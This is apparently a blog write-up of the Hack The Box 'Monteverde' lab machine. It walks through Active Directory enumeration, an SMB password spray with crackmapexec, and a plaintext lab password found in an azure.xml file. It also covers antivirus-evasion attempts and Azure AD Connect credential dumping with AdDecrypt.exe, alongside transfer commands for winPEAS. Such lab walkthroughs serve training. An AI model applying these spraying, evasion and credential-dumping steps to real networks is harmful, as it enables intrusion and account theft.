• Donald Ashdown

Hack the box - Monteverde


This machine is very unique as it involves working with Azure AD services and is one of a kind on HTB. This machine is vulnerable to a directory synchronization attack between the on-premise and cloud environments. This is the path to root which comes after achieving user through a basic unsecured file server where credentials can be found in a XML config file.

  • Host to IP mapping with Etc/hosts

  • Dumping and cracking AD Azure credentials

  • AV Bypassing

Tools used
  • Dig - Enumerate DNS

  • Rpc Dump - Enumeration Rpc

  • SMB client - Connect to smb shares

  • Impacket ldap search - Enumerate Ldap services

  • Auto recon - A tool to help automate recon

  • Crackmap - Bruteforce credential lists

  • SMBMap - Enumerates SMB shares

  • Evil WinRm - A SOAP protocol that allows linux RDP connections to windows machines

  • AD Decrypt - Dumps AD credentials

  • Power Azure - Azure Priv Esc enumeration

  • ADcrypt.dll - Library for AD password dumping

  • Python HTTP server - For serving files quickly

  • WinPeas - Privilege's escalation checker



Our initial scan shows a large amount of ports open which greatly increases the possible attack surface and the enumeration that will have to be performed. In order to be as accurate as possible we will scan wide before deep.

53/tcp   open  domain
88/tcp   open  kerberos-sec
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
389/tcp  open  ldap
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  http-rpc-epmap
636/tcp  open  ldapssl
3268/tcp open  globalcatLDAP
3269/tcp open  globalcatLDAPssl

After a simple scan we switch to a default scripts and service version scan.

sC - Default nmap scripts

sV - Service version enumeration

─$ nmap -Pn -sC -sV
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-05 13:57 EDT
Nmap scan report for
Host is up (0.099s latency).
Not shown: 989 filtered ports
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-09-05 17:57:30Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
Service Info: Host: MONTEVERDE; OS: Windows; CPE: cpe:/o:microsoft:windows

Enumeration: Hosts & HTTP

The first thing I do is add the MEGABANK.LOCAL domain which we found in the above enumeration to our etc/hosts file so we can attempt to bypass DNS and resolve straight to the domain for the purposes of resolving that HTTP service on port 593. However this did not resolve so I moved on, looking at the other services before diving too deep on anything.

Image - Attempt to resolve megabank.local over port 593

Enumeration: DNS Port 53

A basic start to port 53 with dig on a zone transfer attempt yielded no results.

└─$ dig axfr @

; <<>> DiG 9.16.15-Debian <<>> axfr @
; (1 server found)
;; global options: +cmd
;; Query time: 2861 msec
;; WHEN: Sun Sep 05 14:27:41 EDT 2021
;; MSG SIZE  rcvd: 28

Lets try a dig query against the DNS server for general information. In which we gather some information relating to the FQDN. Adding this to our etc/hosts file was my knee jerk reaction and an attempt to resolve again over port 593, HTTP did not resolve to anything. I then proceeded to dive in more with DIG and updated the host mapping to reflect monteverde.megabank.local as per the below initial dig results. I then used dig to gather other elements of the DNS service below.

└─$ dig any @ MEGABANK.LOCAL

; <<>> DiG 9.16.15-Debian <<>> any @ MEGABANK.LOCAL
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 33003
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2

; EDNS: version: 0, flags:; udp: 4000
;MEGABANK.LOCAL.                        IN      ANY

MEGABANK.LOCAL.         600     IN      A
MEGABANK.LOCAL.         3600    IN      NS      monteverde.MEGABANK.LOCAL.
MEGABANK.LOCAL.         3600    IN      SOA     monteverde.MEGABANK.LOCAL. hostmaster.MEGABANK.LOCAL. 59 900 600 86400 3600

monteverde.MEGABANK.LOCAL. 1200 IN      A

;; Query time: 196 msec
;; WHEN: Sun Sep 05 14:29:12 EDT 2021
;; MSG SIZE  rcvd: 147

Dig any - General information query

Dig A - Make a standard DNS request

Dig AAAA - Make a reverse request

Dig TXT - Check the local dns txt file

Dig MX - Check the email server

Dig NX - Check the name server

These provided no additional results so I moved onto nmap and attempted the nmap DNS script and received no new information. From here I pivoted and attempted some subdomain enumeration with DNSRecon. This however was not able to resolve the domain name which was quite unusual. I tried a few variations of the host names without any luck and moved on.

└─$ dnsrecon -D /usr/share/spiderfoot/dicts/subdomains-10000.txt -d monteverde.megabank.local -n  1[*] Performing General Enumeration of Domain: monteverde.megabank.local
[-] Could not resolve domain: monteverde.megabank.local

Enumeration: Port 88 - Kerberos

There is a known vulnerability but it requires authentication so we will move on. Not much else to do on this port if anything at all.


Enumeration: Port 135

Running rpcdump provided allot of output but nothing helpful so I made the decision to move on.

/impacket-rpcdump -port 135

Enumeration: Port 139/445

Using smbclient within linux to check for shares on the target informed us that the SMB service was disabled all together so we move on from this port.

Enumeration: Port 389

From here I used the basic ldap search command and generated some information from our target and beyond some basic information there was nothing additional.

─$ ldapsearch -h -x -s base                                                                    127 ⨯
# extended LDIF
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: ALL

domainFunctionality: 7
forestFunctionality: 7
domainControllerFunctionality: 7
rootDomainNamingContext: DC=MEGABANK,DC=LOCAL
ldapServiceName: MEGABANK.LOCAL:monteverde$@MEGABANK.LOCAL
isGlobalCatalogReady: TRUE
supportedSASLMechanisms: GSSAPI
supportedSASLMechanisms: GSS-SPNEGO
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 3
supportedLDAPVersion: 2
supportedLDAPPolicies: MaxPoolThreads
supportedLDAPPolicies: MaxPercentDirSyncRequests
supportedLDAPPolicies: MaxDatagramRecv
supportedLDAPPolicies: MaxReceiveBuffer
supportedLDAPPolicies: InitRecvTimeout
supportedLDAPPolicies: MaxConnections
supportedLDAPPolicies: MaxConnIdleTime
supportedLDAPPolicies: MaxPageSize
supportedLDAPPolicies: MaxBatchReturnMessages
supportedLDAPPolicies: MaxQueryDuration
supportedLDAPPolicies: MaxDirSyncDuration
supportedLDAPPolicies: MaxTempTableSize
supportedLDAPPolicies: MaxResultSetSize
supportedLDAPPolicies: MinResultSets
supportedLDAPPolicies: MaxResultSetsPerConn
supportedLDAPPolicies: MaxNotificationPerConn
supportedLDAPPolicies: MaxValRange
supportedLDAPPolicies: MaxValRangeTransitive
supportedLDAPPolicies: ThreadMemoryLimit
supportedLDAPPolicies: SystemMemoryLimitPercent
supportedControl: 1.2.840.113556.1.4.319
supportedControl: 1.2.840.113556.1.4.801
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 1.2.840.113556.1.4.528
supportedControl: 1.2.840.113556.1.4.417
supportedControl: 1.2.840.113556.1.4.619
supportedControl: 1.2.840.113556.1.4.841
supportedControl: 1.2.840.113556.1.4.529
supportedControl: 1.2.840.113556.1.4.805
supportedControl: 1.2.840.113556.1.4.521
supportedControl: 1.2.840.113556.1.4.970
supportedControl: 1.2.840.113556.1.4.1338
supportedControl: 1.2.840.113556.1.4.474
supportedControl: 1.2.840.113556.1.4.1339
supportedControl: 1.2.840.113556.1.4.1340
supportedControl: 1.2.840.113556.1.4.1413
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.10
supportedControl: 1.2.840.113556.1.4.1504
supportedControl: 1.2.840.113556.1.4.1852
supportedControl: 1.2.840.113556.1.4.802
supportedControl: 1.2.840.113556.1.4.1907
supportedControl: 1.2.840.113556.1.4.1948
supportedControl: 1.2.840.113556.1.4.1974
supportedControl: 1.2.840.113556.1.4.1341
supportedControl: 1.2.840.113556.1.4.2026
supportedControl: 1.2.840.113556.1.4.2064
supportedControl: 1.2.840.113556.1.4.2065
supportedControl: 1.2.840.113556.1.4.2066
supportedControl: 1.2.840.113556.1.4.2090
supportedControl: 1.2.840.113556.1.4.2205
supportedControl: 1.2.840.113556.1.4.2204
supportedControl: 1.2.840.113556.1.4.2206
supportedControl: 1.2.840.113556.1.4.2211
supportedControl: 1.2.840.113556.1.4.2239
supportedControl: 1.2.840.113556.1.4.2255
supportedControl: 1.2.840.113556.1.4.2256
supportedControl: 1.2.840.113556.1.4.2309
supportedControl: 1.2.840.113556.1.4.2330
supportedControl: 1.2.840.113556.1.4.2354
supportedCapabilities: 1.2.840.113556.1.4.800
supportedCapabilities: 1.2.840.113556.1.4.1670
supportedCapabilities: 1.2.840.113556.1.4.1791
supportedCapabilities: 1.2.840.113556.1.4.1935
supportedCapabilities: 1.2.840.113556.1.4.2080
supportedCapabilities: 1.2.840.113556.1.4.2237
subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCA
serverName: CN=MONTEVERDE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Co
schemaNamingContext: CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL
namingContexts: DC=MEGABANK,DC=LOCAL
namingContexts: CN=Configuration,DC=MEGABANK,DC=LOCAL
namingContexts: CN=Schema,CN=Configuration,DC=MEGABANK,DC=LOCAL
namingContexts: DC=DomainDnsZones,DC=MEGABANK,DC=LOCAL
namingContexts: DC=ForestDnsZones,DC=MEGABANK,DC=LOCAL
isSynchronized: TRUE
highestCommittedUSN: 82089
dsServiceName: CN=NTDS Settings,CN=MONTEVERDE,CN=Servers,CN=Default-First-Site
defaultNamingContext: DC=MEGABANK,DC=LOCAL
currentTime: 20210905190901.0Z
configurationNamingContext: CN=Configuration,DC=MEGABANK,DC=LOCAL

# search result

search: 2

result: 0 Success

# numResponses: 2

# numEntries: 1


We can see that Autorecon picked up on information relating to user names which I totally missed.

Having turned up very little in the way of clear paths from my enumeration processes. I resort to Autorecon, which if you do not know, is a toolkit to help automate the process of reconnaissance. I tend to run autorecon in the background at the start of an engagement due to the lengthy time required to finish. 

|    Users on    |
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
index: 0xfb6 RID: 0x450 acb: 0x00000210 Account: AAD_987d7f2f57d2       Name: AAD_987d7f2f57d2  Desc: Service account for the Synchronization Service with installation identifier 05c97990-7587-4a3d-b312-309adfc172d9 running on computer MONTEVERDE.
index: 0xfd0 RID: 0xa35 acb: 0x00000210 Account: dgalanos       Name: Dimitris Galanos  Desc: (null)
index: 0xedb RID: 0x1f5 acb: 0x00000215 Account: Guest  Name: (null)    Desc: Built-in account for guest access to the computer/domain
index: 0xfc3 RID: 0x641 acb: 0x00000210 Account: mhope  Name: Mike Hope Desc: (null)
index: 0xfd1 RID: 0xa36 acb: 0x00000210 Account: roleary        Name: Ray O'Leary       Desc: (null)
index: 0xfc5 RID: 0xa2a acb: 0x00000210 Account: SABatchJobs    Name: SABatchJobs       Desc: (null)
index: 0xfd2 RID: 0xa37 acb: 0x00000210 Account: smorgan        Name: Sally Morgan      Desc: (null)
index: 0xfc6 RID: 0xa2b acb: 0x00000210 Account: svc-ata        Name: svc-ata   Desc: (null)
index: 0xfc7 RID: 0xa2c acb: 0x00000210 Account: svc-bexec      Name: svc-bexec Desc: (null)
index: 0xfc8 RID: 0xa2d acb: 0x00000210 Account: svc-netapp     Name: svc-netapp        Desc: (null)

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 927.
user:[Guest] rid:[0x1f5]
user:[AAD_987d7f2f57d2] rid:[0x450]
user:[mhope] rid:[0x641]
user:[SABatchJobs] rid:[0xa2a]
user:[svc-ata] rid:[0xa2b]
user:[svc-bexec] rid:[0xa2c]
user:[svc-netapp] rid:[0xa2d]
user:[dgalanos] rid:[0xa35]
user:[roleary] rid:[0xa36]
user:[smorgan] rid:[0xa37]
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 927.
        User Name   :   smorgan
        Full Name   :   Sally Morgan
        Home Drive  :   \\monteverde\users$\smorgan
        Dir Drive   :   H:
        Profile Path:
        Logon Script:
        Description :
        Comment     :
        Remote Dial :
        Logon Time               :      Wed, 31 Dec 1969 19:00:00 EST
        Logoff Time              :      Wed, 31 Dec 1969 19:00:00 EST
        Kickoff Time             :      Wed, 13 Sep 30828 22:48:05 EDT
        Password last set Time   :      Fri, 03 Jan 2020 08:09:22 EST
        Password can change Time :      Sat, 04 Jan 2020 08:09:22 EST
        Password must change Time:      Wed, 13 Sep 30828 22:48:05 EDT
        user_rid :      0xa37
        group_rid:      0x201
        acb_info :      0x00000210
        fields_present: 0x00ffffff
        logon_divs:     168
        bad_password_count:     0x00000000
        logon_count:    0x00000000
        Account Disabled         : False
        Password does not expire : True
        Account locked out       : False
        Password expired         : False
        Interdomain trust account: False
        Workstation trust account: False
        Server trust account     : False
        Trusted for delegation   : False

Enumeration: Bruteforce logon

Having few clear paths from here I resort to bruteforcing attempts sadly.

For this I will use crackmapexe and the user names provided by auto recon as the list of users and password.

Image - Crackmapexec the swiss army knife for networks

Here I create a new file and paste the contents of the users and password.

image - users list and password list

Running crackmap against the smb protocol with the provided user names for users and password provided a successful login.

crackmapexec smb -u users.txt -p psw.txt

Image - Crackmap testing users and users as credentials over SMB

Initial foothold

Trying to connect with evil-winrm first does not work after cloning and attempting the ruby version. so I then switched to gem install and attempted to connect with a timeout. So these must just work with SMB. I always go straight for the kill when I get working windows credentials on a machine with rdp ports.

Image - Evil-winrim failing with SABatchJobs credentials

From here I tried SMBMAP and used the provided credentials for read access to the shares.

Image - SMBMAP

From here we we connect as SABatchJobs and notice many shares to enumerate.

└─$ smbclient -L // -U SABatchJobs                                                                                                                                             1 ⨯
Enter WORKGROUP\SABatchJobs's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        azure_uploads   Disk      
        C$              Disk      Default share
        E$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
        users$          Disk      
SMB1 disabled -- no workgroup available

The Azure uploads share allows for a connection but there is nothing.

└─$ smbclient // -U SABatchJobs 
Enter WORKGROUP\SABatchJobs's password: 

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jan  3 07:43:06 2020
  ..                                  D        0  Fri Jan  3 07:43:06 2020

                309503 blocks of size 4096. 304926 blocks available
smb: \> ls -la
smb: \> ls
  .                                   D        0  Fri Jan  3 07:43:06 2020
  ..                                  D        0  Fri Jan  3 07:43:06 2020


The SYSVOL share allows for a connection and there were so many files I downloaded them to view locally with the following SMB commands.

smb: > mget *

After viewing it offline I started to Grep for passwords as there were so many files.

└─$ smbclient // -U SABatchJobs                                                                                                                                        130 ⨯
Enter WORKGROUP\SABatchJobs's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Jan  2 17:05:14 2020
  ..                                  D        0  Thu Jan  2 17:05:14 2020
  MEGABANK.LOCAL                     Dr        0  Thu Jan  2 17:05:14 2020

                5795583 blocks of size 4096. 1485722 blocks available
smb: \> cd MEGABANK.local
smb: \MEGABANK.local\> ls
  .                                   D        0  Thu Jan  2 17:11:34 2020
  ..                                  D        0  Thu Jan  2 17:11:34 2020
  DfsrPrivate                      DHSr        0  Thu Jan  2 17:11:34 2020
  Policies                            D        0  Thu Jan  2 17:05:22 2020
  scripts                             D        0  Thu Jan  2 17:05:14 2020

I took a step back and decided to quickly check the users folder where I found credentials under user mhope.

└─$ smbclient //$ -U SABatchJobs                                                                                                                                        130 ⨯
Enter WORKGROUP\SABatchJobs's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Jan  3 08:12:48 2020
  ..                                  D        0  Fri Jan  3 08:12:48 2020
  dgalanos                            D        0  Fri Jan  3 08:12:30 2020
  mhope                               D        0  Fri Jan  3 08:41:18 2020
  roleary                             D        0  Fri Jan  3 08:10:30 2020
  smorgan                             D        0  Fri Jan  3 08:10:24 2020

                309503 blocks of size 4096. 304926 blocks available
smb: \> cd smorgan
smb: \smorgan\> ls
  .                                   D        0  Fri Jan  3 08:10:24 2020
  ..                                  D        0  Fri Jan  3 08:10:24 2020

                309503 blocks of size 4096. 304926 blocks available
smb: \smorgan\> cd ..
smb: \> cd roleary
smb: \roleary\> ls
  .                                   D        0  Fri Jan  3 08:10:30 2020
  ..                                  D        0  Fri Jan  3 08:10:30 2020

                309503 blocks of size 4096. 304926 blocks available
smb: \roleary\> cd ..
smb: \> cd mhope
smb: \mhope\> ls
  .                                   D        0  Fri Jan  3 08:41:18 2020
  ..                                  D        0  Fri Jan  3 08:41:18 2020
  azure.xml                          AR     1212  Fri Jan  3 08:40:23 2020

                309503 blocks of size 4096. 304926 blocks available
smb: \mhope\> get azure.xml 
getting file \mhope\azure.xml of size 1212 as azure.xml (3.5 KiloBytes/sec) (average 3.5 KiloBytes/sec)
smb: \mhope\> 

Sure enough there are credentials in the azure.xml .....

─$ cat azure.xml 
��<Objs Version="" xmlns="http://schemas.microsoft.com/powershell/2004/04">
  <Obj RefId="0">
    <TN RefId="0">
      <DT N="StartDate">2020-01-03T05:35:00.7562298-08:00</DT>
      <DT N="EndDate">2054-01-03T05:35:00.7562298-08:00</DT>
      <G N="KeyId">00000000-0000-0000-0000-000000000000</G>
      <S N="Password">4n0therD4y@n0th3r$</S>

Authenticate & Logon

With a set of credentials in hand for a known user we go straight for the login with evil-rm.

Image - Access as mhope

Privilege escalation

We start by transferring winPEAS to the target machine. First we spin up a python http server over port 8000 in the winpeas directory. Then from the mhope shell, on the compromised machine we utilize, wget http://server ip:8000/winPEASx86.exe.

Image - File request from user mhope

Image - Inbound GET request logged on server

However upon confirming the file in our working directory there was nothing present. From here I assumed an anti virus product was removing it.

Image - Directory check after the successful file transfer

We have a few options and paths when attempting to by pass a local antivirus and gain code execution.

AV Bypassing

Initially I thought of 4 paths.

  1. White listed directories

  2. Changing filename and extensions

  3. Obfuscating code pre-upload

  4. Trying a .bat instead of a .exe

Whitelisted directories;

I found nothing that resembled a line of business application which would have a likely hood of being whitelisted, especially if the environment does not have a security department, but rather administrators and a basic AV platform.

Changing filename and extension:

Firstly I renamed and uploaded the files as ooobles. Then I renamed it to winpeas, then winpeas.exe. Still nothing worked even upon name changing after the upload. This can be helpful if an AV is configured to scan for newly added files only. A simple misconfiguration on the system practitioners part.

Image - Dir check

sln extension with msbuild.exe

From here we tried to transfer a visual studio project and compile with msbuild.exe, however msbuild was not present.

Image - msbuild.exe


I attempted to import a PowerZure escalation script and managed to bypass AV partially but I could not fully run the program with the execution policy bypass.

Image - PowerZure

PowerAzure references;



Base 64 encoded

This still did not allow for execution, for unknown reasons.

Image - Base64 encoding on winpeas

On a new path


So we have a very unique privilege here and that is the Azure Admin group. I performed a fair amount of research and reviewed several discussions and forums and eventually learned about an Azure AD exploit for scenario such as this particular privillege.

Image - Reviewing group privilleges.


I eventually found this guide which was really interesting.


We have several steps to follow here in order to exploit the Dir Synch connector for synchronized credentials as per the exploit outlined in the above reference.

  1. Downlaod AdDecrypt.exe and upload it to the machine

  2. Download mcrypt.dll and uplaod to the machines

  3. Navigate to the Azure AD Sync Bin

  4. Launch AdDecrypt.exe -Full

Image - Using the Azure AD Connector exploit

Image - Gaining access as root

131 views0 comments